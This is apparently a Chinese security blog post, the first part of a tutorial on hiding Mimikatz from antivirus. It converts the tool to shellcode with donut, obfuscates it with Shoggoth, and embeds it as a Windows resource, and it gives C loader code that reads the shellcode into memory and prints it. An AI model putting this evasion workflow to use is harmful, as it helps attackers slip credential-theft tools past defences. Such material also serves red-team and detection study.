以下文章来源于Relay学安全 ,作者FireGhost
前言
在开发malware过程中通常有两种加载shellcode方式:
1.把shellcode直接以硬编码的方式写入代码中
2.采用分离加载的方式 制作一个shellcode loader 从本地读取shellcode到内存中进行运行。
本文先讲解第一种方式,这个方式有一定的缺陷。
-
把shellcode与loader放一起编写。即使shellcode 进行了加密与混淆操作,把成品放到vt上进行扫描也很大概率被查杀。
-
如果要对工具进行免杀,则需把工具 exe转为shellcode 写成c语言格式则有上千行。若把它粘贴到vs2019等IDE去可能会直接程序无响应了。所以可以把转换出来的shellcode可以写进资源(Resource)中。
环境搭建
VS2019 donut https://github.com/TheWover/donut Shoggoth https://github.com/frkngksl/Shoggoth 使用C语言 Win32编程
一、需要的Windows API
HRSRC FindResourceA(
[in, optional] HMODULE hModule,
[in] LPCSTR lpName,
[in] LPCSTR lpType
);
lpName: 可以使用MAKEINTRESOURCE(ID)获取lpType:RT_RCDATA Application-defined resource (raw data).
HGLOBAL LoadResource([in, optional] HMODULE hModule,[in] HRSRC hResInfo
);LPVOID LockResource([in] HGLOBAL hResData
);
LPVOID VirtualAlloc([in, optional] LPVOID lpAddress,[in] SIZE_T dwSize,[in] DWORD flAllocationType,[in] DWORD flProtect
);
二、具体步骤
将所需要免杀的工具转成shellcode
donut.exe -i .\mimikatz.exe -o mimi.bin
使用多态加密混淆工具混淆下shellcode
Shoggoth.exe -i .\mimi.bin -s 1235sfafsf -o mimi_fin.ico
打开VS2019
在资源文件中添加资源文件(rc)
导入生成的mimi_fin.ico(注意后缀名)
输入RCDATA 即可
代码编写
#include <stdio.h>
#include<Windows.h>
#include"resource.h"void PrintHexData(LPCSTR Name, PBYTE Data, SIZE_T Size) {printf("unsigned char %s[] = {", Name);for (int i = 0; i < Size; i++) {if (i % 16 == 0) {printf("\n\t");}if (i < Size - 1) {printf("0x%0.2X, ", Data[i]);}else {printf("0x%0.2X ", Data[i]);}}printf("};\n\n\n");}
int main()
{HRSRC hRSrc = NULL;HGLOBAL hGlobal = NULL;LPVOID pTmpShellcode = NULL;LPVOID pShellcode = NULL;size_t sShellcodeSize = 0;hRSrc= FindResource(NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA); //确定shellcode资源在模块中的位置if (!hRSrc) {printf("资源未找到!\n");return -1;}hGlobal=LoadResource(NULL, hRSrc); //获取句柄if (!hGlobal) {printf("加载资源失败\n");return -1;}pTmpShellcode =LockResource(hGlobal); //找到资源所在内存中的地址if (!pTmpShellcode) {printf("获取资源中shellcode地址失败");return -1;}sShellcodeSize=SizeofResource(NULL,hRSrc);if (!sShellcodeSize ) {// in case of function failure printf("获取shellcode大小失败\n");return -1;}pShellcode= VirtualAlloc(NULL, sShellcodeSize, MEM_COMMIT, PAGE_READWRITE);if (pShellcode) {MoveMemory(pShellcode, pTmpShellcode, sShellcodeSize);}else{printf("内存分配失败\n");return -1;}printf("[+]pShellcode的地址为:%p\n",pShellcode);printf("[+]sShellcodeSize的大小为%d\n", sShellcodeSize);PrintHexData("shellcode", pShellcode, sShellcodeSize);return 0;
}
总结
这篇文章先讲到把Mimikatz的shellcode加载进内存 。